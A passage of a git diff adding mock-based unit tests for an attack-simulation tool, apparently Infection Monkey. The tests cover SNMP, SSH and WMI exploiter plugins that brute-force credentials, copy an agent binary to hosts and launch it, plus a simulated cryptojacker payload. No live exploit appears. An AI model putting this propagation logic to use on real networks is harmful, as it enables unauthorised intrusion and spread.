IHTTPAgentBinaryServerRegistrar, + mock_agent_binary_transform: AgentBinaryTransform, mock_otp_provider: IAgentOTPProvider, ) -> SNMPExploiter: return SNMPExploiter( mock_snmp_exploit_client, - mock_start_dropper_script_server, + mock_http_agent_binary_server_registrar, + mock_agent_binary_transform, mock_otp_provider, ) @@ -70,8 +69,8 @@ def snmp_exploiter( @pytest.fixture def exploit_host( snmp_exploiter: SNMPExploiter, target_host: TargetHost -) -> Callable[[], ExploiterResultData]: - def _inner() -> ExploiterResultData: +) -> Callable[[], ExploiterResult]: + def _inner() -> ExploiterResult: return snmp_exploiter.exploit_host( host=target_host, options=SNMPOptions(), @@ -82,46 +81,51 @@ def _inner() -> ExploiterResultData: return _inner -def test_exploit_host__succeeds(exploit_host, mock_snmp_exploit_client, mock_bytes_server): +def test_exploit_host__succeeds( + exploit_host, + mock_snmp_exploit_client, + mock_http_agent_binary_server_registrar, +): mock_snmp_exploit_client.exploit_host.return_value = (True, True) result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called + assert mock_http_agent_binary_server_registrar.reserve_download.called assert result.exploitation_success assert result.propagation_success -def test_exploit_host__fails_if_server_fails_to_start( - exploit_host, mock_start_dropper_script_server, mock_bytes_server +def test_exploit_host__fails_if_reserve_download_fails( + exploit_host, mock_http_agent_binary_server_registrar ): - mock_start_dropper_script_server.side_effect = Exception() + mock_http_agent_binary_server_registrar.reserve_download.side_effect = Exception() result = exploit_host() - assert not mock_bytes_server.stop.called + assert not mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__success_returned_on_server_stop_fail( - exploit_host, mock_snmp_exploit_client, mock_bytes_server + exploit_host, mock_snmp_exploit_client, mock_http_agent_binary_server_registrar ): mock_snmp_exploit_client.exploit_host.return_value = (True, True) - mock_bytes_server.stop.side_effect = Exception() + mock_http_agent_binary_server_registrar.clear_reservation.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert result.exploitation_success assert result.propagation_success def test_exploit_host__fails_on_snmp_exception( - mock_snmp_exploit_client, exploit_host, mock_bytes_server + mock_snmp_exploit_client, exploit_host, mock_http_agent_binary_server_registrar ): mock_snmp_exploit_client.exploit_host.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_client.py new file mode 100644 index 00000000000..b61a5b1c77e --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_client.py @@ -0,0 +1,152 @@ +from pathlib import PurePath +from unittest.mock import MagicMock, patch + +import paramiko +import pytest +from agent_plugins.exploiters.ssh.src.ssh_client import SSHClient +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS + +from common.types import NetworkPort +from infection_monkey.i_puppet import TargetHost + +SSH_PORT = NetworkPort(22) +SSH_TIMEOUT = 10.0 +FILE_BUFFER = b"some bytes" +DESTINATION_PATH = PurePath("/tmp/dest") + + +@pytest.fixture +def mock_target_host(): + return TargetHost(ip="192.168.1.1") + + +@pytest.fixture +def mock_paramiko_ssh_client(): + mock_ssh_client = MagicMock(spec=paramiko.SSHClient) + return mock_ssh_client + + +@pytest.fixture +def ssh_client(monkeypatch, mock_paramiko_ssh_client): + ssh_client = SSHClient() + + monkeypatch.setattr( + "agent_plugins.exploiters.ssh.src.ssh_client.paramiko.SSHClient", + lambda: mock_paramiko_ssh_client, + ) + return ssh_client + + +@pytest.fixture +def connected_ssh_client(ssh_client, mock_target_host): + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.return_value = MagicMock() + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[6], SSH_PORT, SSH_TIMEOUT) + + return ssh_client + + +def test_connect_with_private_key_successful( + mock_target_host, ssh_client, mock_paramiko_ssh_client +): + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.return_value = MagicMock() + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[6], SSH_PORT, SSH_TIMEOUT) + + assert mock_paramiko_ssh_client.connect.called + assert ssh_client.connected() + + +def test_connect_with_login_credentials_successful( + mock_target_host, ssh_client, mock_paramiko_ssh_client +): + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.side_effect = paramiko.PasswordRequiredException() + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[0], SSH_PORT, SSH_TIMEOUT) + + assert mock_paramiko_ssh_client.connect.called + assert ssh_client.connected() + + +@pytest.mark.parametrize( + "error", [IOError, paramiko.SSHException, paramiko.PasswordRequiredException] +) +def test_connect_with_private_key_raises_exception( + error, mock_target_host, ssh_client, mock_paramiko_ssh_client +): + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.side_effect = error() + with pytest.raises(Exception): + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[6], SSH_PORT, SSH_TIMEOUT) + + mock_paramiko_ssh_client.connect.assert_not_called() + assert not ssh_client.connected() + + +def test_connect_with_login_credentials_raises_exception( + mock_target_host, ssh_client, mock_paramiko_ssh_client +): + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.side_effect = paramiko.SSHException() + with pytest.raises(Exception): + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[6], SSH_PORT, SSH_TIMEOUT) + + mock_paramiko_ssh_client.connect.assert_not_called() + assert not ssh_client.connected() + + +@pytest.mark.parametrize("error", [paramiko.AuthenticationException, Exception]) +def test_connect_with_private_key_raises_exception__paramiko( + mock_target_host, ssh_client, mock_paramiko_ssh_client, error +): + mock_paramiko_ssh_client.connect.side_effect = error() + + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.return_value = MagicMock() + with pytest.raises(Exception): + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[6], SSH_PORT, SSH_TIMEOUT) + + assert not ssh_client.connected() + + +@pytest.mark.parametrize("error", [paramiko.AuthenticationException, Exception]) +def test_connect_with_login_credentials_raises_exception__paramiko( + mock_target_host, ssh_client, mock_paramiko_ssh_client, error +): + mock_paramiko_ssh_client.connect.side_effect = error() + + with patch("paramiko.RSAKey.from_private_key") as mock_from_private_key: + mock_from_private_key.side_effect = paramiko.SSHException() + with pytest.raises(Exception): + ssh_client.connect(mock_target_host, FULL_CREDENTIALS[0], SSH_PORT, SSH_TIMEOUT) + + assert not ssh_client.connected() + assert mock_paramiko_ssh_client.close.called + + +def test_copy_file__succeeds(connected_ssh_client): + connected_ssh_client.copy_file(FILE_BUFFER, DESTINATION_PATH) + + +def test_copy_file__raises_when_open_sftp_fails(connected_ssh_client, mock_paramiko_ssh_client): + mock_paramiko_ssh_client.open_sftp.side_effect = paramiko.SSHException + + with pytest.raises(Exception): + connected_ssh_client.copy_file(FILE_BUFFER, DESTINATION_PATH) + + +def test_copy_file__raises_when_sftp_putfo_fails(connected_ssh_client, mock_paramiko_ssh_client): + mock_sftp_client = MagicMock(spec=paramiko.SFTPClient) + mock_sftp_client.__enter__.return_value.putfo.side_effect = Exception + mock_paramiko_ssh_client.open_sftp.return_value = mock_sftp_client + + with pytest.raises(Exception): + connected_ssh_client.copy_file(FILE_BUFFER, DESTINATION_PATH) + + +@pytest.mark.parametrize("credentials", [FULL_CREDENTIALS[3], FULL_CREDENTIALS[-1]]) +def test_connect__rasies_exception_on_wrong_credential_type( + ssh_client, mock_target_host, credentials +): + with pytest.raises(ValueError): + ssh_client.connect(mock_target_host, credentials, SSH_PORT, SSH_TIMEOUT) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py new file mode 100644 index 00000000000..4364e082f45 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py @@ -0,0 +1,47 @@ +from ipaddress import IPv4Address +from pathlib import PurePosixPath +from typing import Optional +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.ssh.src.ssh_command_builder import build_ssh_command + +from common import OperatingSystem +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import MONKEY_ARG +from infection_monkey.utils.ids import get_agent_id + +AGENT_ID = get_agent_id() +SERVERS = ["127.0.0.1", "192.168.1.1"] +DEPTH = 2 +AGENT_EXE_PATH = PurePosixPath("C:\\agent.exe") +OTP = "123456" + + +@pytest.fixture +def otp_provider() -> IAgentOTPProvider: + provider = MagicMock(spec=IAgentOTPProvider) + provider.get_otp.return_value = OTP + return provider + + +@pytest.mark.parametrize("os", [OperatingSystem.LINUX, None]) +def test_command(otp_provider: IAgentOTPProvider, os: Optional[OperatingSystem]): + target_host = TargetHost(ip=IPv4Address("127.0.0.1"), operating_system=os) + + command = build_ssh_command( + AGENT_ID, + target_host, + SERVERS, + DEPTH, + AGENT_EXE_PATH, + otp_provider, + ) + + assert MONKEY_ARG in command + assert str(AGENT_ID) in command + assert all([server in command for server in SERVERS]) + assert str(DEPTH + 1) in command + assert str(AGENT_EXE_PATH) in command + assert OTP in command diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_options.py new file mode 100644 index 00000000000..a53255a9f1f --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_options.py @@ -0,0 +1,46 @@ +import pydantic +import pytest +from agent_plugins.exploiters.ssh.src.ssh_options import SSHOptions + +SSH_CONNECT_TIMEOUT = 42.1 + +SSH_OPTIONS_DICT = { + "connect_timeout": SSH_CONNECT_TIMEOUT, +} + +SSH_OPTIONS_OBJECT = SSHOptions( + connect_timeout=SSH_CONNECT_TIMEOUT, +) + +SSH_TIMEOUT_EXCEPTION_TOO_LOW = {"connect_timeout": 0} +SSH_TIMEOUT_EXCEPTION_TOO_HIGH = {"connect_timeout": 101} + + +def test_ssh_options__serialization(): + assert SSH_OPTIONS_OBJECT.dict(simplify=True) == SSH_OPTIONS_DICT + + +def test_ssh_options__full_serialization(): + assert SSHOptions(**SSH_OPTIONS_OBJECT.dict(simplify=True)) == SSH_OPTIONS_OBJECT + + +def test_ssh_options__deserialization(): + assert SSHOptions(**SSH_OPTIONS_DICT) == SSH_OPTIONS_OBJECT + + +def test_ssh_options__default(): + ssh_options = SSHOptions() + + assert ssh_options.connect_timeout == 15.0 + + +@pytest.mark.parametrize( + "options_dict", + [ + SSH_TIMEOUT_EXCEPTION_TOO_LOW, + SSH_TIMEOUT_EXCEPTION_TOO_HIGH, + ], +) +def test_ssh_options_constrains(options_dict): + with pytest.raises((pydantic.errors.NumberNotLeError, pydantic.errors.NumberNotGtError)): + SSHOptions(**options_dict) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_plugin.py new file mode 100644 index 00000000000..7d00e4812f2 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_plugin.py @@ -0,0 +1,200 @@ +from ipaddress import IPv4Address +from threading import Event +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +from agent_plugins.exploiters.ssh.src.plugin import SSH_PORTS, Plugin + +from common import OperatingSystem +from common.types import PortStatus +from infection_monkey.exploit.tools import BruteForceExploiter +from infection_monkey.i_puppet import ( + ExploiterResult, + PortScanData, + PortScanDataDict, + TargetHost, + TargetHostPorts, +) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") +BAD_SSH_OPTIONS_DICT = {"blah": "blah"} +TARGET_IP = IPv4Address("127.0.0.1") +OPEN_SSH_PORTS = TargetHostPorts( + tcp_ports=PortScanDataDict({p: PortScanData(port=p, status=PortStatus.OPEN) for p in SSH_PORTS}) +) +EMPTY_TARGET_HOST_PORTS = TargetHostPorts() +SERVERS = ["192.168.1.1"] +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") + + +@pytest.fixture +def target_host() -> TargetHost: + return TargetHost( + ip=TARGET_IP, + operating_system=OperatingSystem.WINDOWS, + ports_status=OPEN_SSH_PORTS, + ) + + +@pytest.fixture +def propagation_credentials_repository(): + return MagicMock(spec=IPropagationCredentialsRepository) + + +class ErrorRaisingMockSSHExploiter(BruteForceExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResult: + raise Exception("Test error") + + +@pytest.fixture +def mock_ssh_exploiter(): + exploiter = MagicMock(spec=BruteForceExploiter) + exploiter.exploit_host.return_value = EXPLOITER_RESULT + return exploiter + + +@pytest.fixture +def plugin( + monkeypatch, + propagation_credentials_repository: IPropagationCredentialsRepository, + mock_ssh_exploiter: BruteForceExploiter, +) -> Plugin: + monkeypatch.setattr( + "agent_plugins.exploiters.ssh.src.plugin.BruteForceExploiter", + lambda *args, **kwargs: mock_ssh_exploiter, + ) + + return Plugin( + plugin_name="SSH", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), + ) + + +def test_run__fails_on_bad_options(plugin: Plugin, target_host: TargetHost): + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options=BAD_SSH_OPTIONS_DICT, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_run__attempts_exploit_if_port_status_unknown( + plugin: Plugin, + mock_ssh_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict({}) + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_ssh_exploiter.exploit_host.assert_called_once() # type: ignore [attr-defined] + assert result == EXPLOITER_RESULT + + +def test_run__attempts_exploit_if_port_status_open( + plugin: Plugin, + mock_ssh_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict( + {SSH_PORTS[0]: PortScanData(port=SSH_PORTS[0], status=PortStatus.OPEN)} + ) + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_ssh_exploiter.exploit_host.assert_called_once() # type: ignore [attr-defined] + assert result == EXPLOITER_RESULT + + +def test_run__skips_exploit_if_port_status_closed( + plugin: Plugin, + mock_ssh_exploiter: BruteForceExploiter, + target_host: TargetHost, +): + host = target_host + host.ports_status.tcp_ports = PortScanDataDict( + { + SSH_PORTS[0]: PortScanData(port=SSH_PORTS[0], status=PortStatus.CLOSED), + } + ) + + result = plugin.run( + host=host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + mock_ssh_exploiter.exploit_host.assert_not_called() # type: ignore [attr-defined] + assert result.exploitation_success is False + assert result.propagation_success is False + + +def test_run__returns_exploiter_result(plugin: Plugin, target_host: TargetHost): + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert result == EXPLOITER_RESULT + + +def test_run__exploit_host_raises_exception( + monkeypatch, + plugin: Plugin, + propagation_credentials_repository: IPropagationCredentialsRepository, + target_host: TargetHost, +): + monkeypatch.setattr( + "agent_plugins.exploiters.ssh.src.plugin.BruteForceExploiter", + ErrorRaisingMockSSHExploiter, + ) + + plugin = Plugin( + plugin_name="SSH", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), + ) + result = plugin.run( + host=target_host, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_remote_access_client.py new file mode 100644 index 00000000000..aa87dd8f013 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_remote_access_client.py @@ -0,0 +1,167 @@ +from ipaddress import IPv4Address +from pathlib import PurePosixPath +from typing import List +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.ssh.src.ssh_client import SSHClient +from agent_plugins.exploiters.ssh.src.ssh_options import SSHOptions +from agent_plugins.exploiters.ssh.src.ssh_remote_access_client import ( + COPY_FILE_TAGS, + EXECUTION_TAGS, + LOGIN_TAGS, + SSHRemoteAccessClient, +) +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS + +from common import OperatingSystem +from common.credentials import Credentials +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import ( + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.i_puppet import TargetHost + +EXPLOITER_TAGS = {"ssh-exploiter", "unit-test"} +CREDENTIALS: List[Credentials] = [] +DESTINATION_PATH = PurePosixPath("/tmp/destination_path") +FILE = b"file content" +TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX) + + +def stub_command_builder(*args, **kwargs): + return "command" + + +@pytest.fixture +def mock_ssh_client(): + client = MagicMock(spec=SSHClient) + client.connected.return_value = False + + def set_connected(value: bool): + client.connected.return_value = value + + client.connect.side_effect = lambda *_, **__: set_connected(True) + + return client + + +@pytest.fixture +def mock_agent_binary_repository() -> IAgentBinaryRepository: + return MagicMock(spec=IAgentBinaryRepository) + + +@pytest.fixture +def ssh_remote_access_client(mock_ssh_client) -> SSHRemoteAccessClient: + return SSHRemoteAccessClient(TARGET_HOST, SSHOptions(), stub_command_builder, mock_ssh_client) + + +def test_login__succeeds( + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + ssh_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_login__fails( + mock_ssh_client: SSHClient, + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_ssh_client.connect.side_effect = Exception() + + with pytest.raises(RemoteAuthenticationError): + ssh_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_execute__fails_if_not_authenticated( + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + with pytest.raises(RemoteCommandExecutionError): + ssh_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_execute__fails_if_command_not_executed( + mock_ssh_client: SSHClient, + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_ssh_client.execute_command.side_effect = Exception("file") + ssh_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + with pytest.raises(RemoteCommandExecutionError): + ssh_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_execute__succeeds( + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + ssh_remote_access_client.login(FULL_CREDENTIALS[0], set()) + ssh_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_copy_file__fails_if_not_authenticated( + mock_ssh_client: SSHClient, + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_ssh_client.connected.return_value = False + + with pytest.raises(RemoteFileCopyError): + ssh_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_copy_file__fails_if_client_copy_fails( + mock_ssh_client: SSHClient, + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_ssh_client.connected.return_value = True + mock_ssh_client.copy_file.side_effect = Exception("file") + + with pytest.raises(RemoteFileCopyError): + ssh_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(COPY_FILE_TAGS) + + +def test_copy_file__success( + ssh_remote_access_client: SSHRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + ssh_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + ssh_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(COPY_FILE_TAGS) + + +def test_get_writable_paths__is_empty( + ssh_remote_access_client: SSHRemoteAccessClient, +): + assert ssh_remote_access_client.get_writable_paths() == [] + + +def test_get_os__is_linux( + ssh_remote_access_client: SSHRemoteAccessClient, +): + assert ssh_remote_access_client.get_os() == OperatingSystem.LINUX diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_command_builder.py index db875d7661b..53e1b0b53ed 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_command_builder.py @@ -4,7 +4,6 @@ import pytest from agent_plugins.exploiters.wmi.src.wmi_command_builder import build_wmi_command -from common import OperatingSystem from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.utils.ids import get_agent_id @@ -22,19 +21,6 @@ def otp_provider() -> IAgentOTPProvider: return provider -def test_exception_raised_for_linux(otp_provider: IAgentOTPProvider): - with pytest.raises(Exception): - build_wmi_command( - AGENT_ID, - ["127.0.0.1"], - 2, - OperatingSystem.LINUX, - DROPPER_EXE_PATH, - AGENT_EXE_PATH, - otp_provider, - ) - - @pytest.mark.parametrize( "remote_agent_binary_full_path,remote_agent_binary_destination_path,", [ @@ -52,7 +38,6 @@ def test_servers( AGENT_ID, servers, 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -67,7 +52,6 @@ def test_dropper_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -81,7 +65,6 @@ def test_monkey_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, AGENT_EXE_PATH, AGENT_EXE_PATH, otp_provider, @@ -95,7 +78,6 @@ def test_otp_used(otp_provider: IAgentOTPProvider): AGENT_ID, ["127.0.0.1"], 2, - OperatingSystem.WINDOWS, AGENT_EXE_PATH, AGENT_EXE_PATH, otp_provider, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_plugin.py index b2953d57a00..13be0248fb4 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/wmi/test_wmi_plugin.py @@ -10,7 +10,7 @@ from common.types import PortStatus from infection_monkey.exploit.tools import BruteForceExploiter from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, PortScanData, PortScanDataDict, TargetHost, @@ -27,7 +27,7 @@ OTHER_PORT = 9999 EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] -EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") @pytest.fixture @@ -48,14 +48,14 @@ class ErrorRaisingMockWMIExploiter(BruteForceExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + def exploit_host(self, *args, **kwargs) -> ExploiterResult: raise Exception("Test error") @pytest.fixture def mock_wmi_exploiter(): exploiter = MagicMock(spec=BruteForceExploiter) - exploiter.exploit_host.return_value = EXPLOITER_RESULT_DATA + exploiter.exploit_host.return_value = EXPLOITER_RESULT return exploiter @@ -117,7 +117,7 @@ def test_run__attempts_exploit_if_port_status_unknown( ) mock_wmi_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__attempts_exploit_if_port_status_open( @@ -138,7 +138,7 @@ def test_run__attempts_exploit_if_port_status_open( ) mock_wmi_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__skips_exploit_if_port_status_closed( @@ -166,7 +166,7 @@ def test_run__skips_exploit_if_port_status_closed( assert result.propagation_success is False -def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetHost): +def test_run__returns_exploiter_result(plugin: Plugin, target_host: TargetHost): result = plugin.run( host=target_host, servers=SERVERS, @@ -175,7 +175,7 @@ def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetH interrupt=Event(), ) - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__exploit_host_raises_exception( diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_bitcoin_mining_network_traffic_simulator.py b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_bitcoin_mining_network_traffic_simulator.py new file mode 100644 index 00000000000..5d3d8a07532 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_bitcoin_mining_network_traffic_simulator.py @@ -0,0 +1,79 @@ +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +import requests_mock +from agent_plugins.payloads.cryptojacker.src.bitcoin_mining_network_traffic_simulator import ( + BitcoinMiningNetworkTrafficSimulator, +) +from requests.exceptions import ConnectionError, ConnectTimeout, ReadTimeout + +from common.event_queue import IAgentEventPublisher +from common.types import SocketAddress + +SERVER = SocketAddress(ip="127.0.0.1", port=9999) +SERVER_URL = f"http://{SERVER}" +AGENT_ID = UUID("80988359-a1cd-42a2-9b47-5b94b37cd673") + +CONNECTION_CONTEXT_ERROR = ConnectionError() +READ_TIMEOUT_ERROR = ReadTimeout() +READ_TIMEOUT_ERROR.__context__ = ConnectionResetError() +CONNECTION_CONTEXT_ERROR.__context__ = READ_TIMEOUT_ERROR + + +CONNECTION_NO_RESET_ERROR = ConnectionError() +GENERAL_EXCEPTION = Exception() +GENERAL_EXCEPTION.__context__ = AttributeError() +CONNECTION_NO_RESET_ERROR.__context__ = GENERAL_EXCEPTION + + +@pytest.fixture +def request_mock_instance(): + with requests_mock.Mocker() as m: + yield m + + +@pytest.fixture +def agent_event_publisher(): + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture +def bitcoin_mining_network_traffic_simulator( + agent_event_publisher: IAgentEventPublisher, request_mock_instance +): + return BitcoinMiningNetworkTrafficSimulator( + island_server_address=SERVER, agent_id=AGENT_ID, agent_event_publisher=agent_event_publisher + ) + + +@pytest.mark.parametrize( + "initial_error, expected_call_count", + [(ConnectTimeout, 0), (ConnectionError, 0), (ReadTimeout, 1), (ConnectionResetError, 1)], +) +def test_bitcoin_mining_request__error_handling( + request_mock_instance, + bitcoin_mining_network_traffic_simulator: BitcoinMiningNetworkTrafficSimulator, + agent_event_publisher: IAgentEventPublisher, + initial_error, + expected_call_count, +): + request_mock_instance.post(SERVER_URL, exc=initial_error) + bitcoin_mining_network_traffic_simulator.send_bitcoin_mining_request() + assert agent_event_publisher.publish.call_count == expected_call_count + + +@pytest.mark.parametrize( + "initial_error, expected_call_count", + [(ConnectionError(), 0), (CONNECTION_NO_RESET_ERROR, 0), (CONNECTION_CONTEXT_ERROR, 1)], +) +def test_bitcoin_mining_request__connection_error_handling( + request_mock_instance, + bitcoin_mining_network_traffic_simulator: BitcoinMiningNetworkTrafficSimulator, + agent_event_publisher: IAgentEventPublisher, + initial_error, + expected_call_count, +): + request_mock_instance.post(SERVER_URL, exc=initial_error) + bitcoin_mining_network_traffic_simulator.send_bitcoin_mining_request() + assert agent_event_publisher.publish.call_count == expected_call_count diff --git a/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_cryptojacker_options.py b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_cryptojacker_options.py new file mode 100644 index 00000000000..a52c84962d2 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/payloads/cryptojacker/test_cryptojacker_options.py @@ -0,0 +1,57 @@ +import pytest +from agent_plugins.payloads.cryptojacker.src.cryptojacker_options import CryptojackerOptions + +CRYPTOJACKER_OPTIONS_DICT = { + "duration": 100, + "cpu_utilization": 50, + "memory_utilization": 30, + "simulate_bitcoin_mining_network_traffic": True, +} + +CRYPTOJACKER_OPTIONS_OBJECT = CryptojackerOptions( + duration=100, + cpu_utilization=50, + memory_utilization=30, + simulate_bitcoin_mining_network_traffic=True, +) + + +def test_cryptojacker_options__serialization(): + assert CRYPTOJACKER_OPTIONS_OBJECT.dict(simplify=True) == CRYPTOJACKER_OPTIONS_DICT + + +def test_cryptojacker_options__full_serialization(): + assert ( + CryptojackerOptions(**CRYPTOJACKER_OPTIONS_OBJECT.dict(simplify=True)) + == CRYPTOJACKER_OPTIONS_OBJECT + ) + + +def test_cryptojacker_options__deserialization(): + 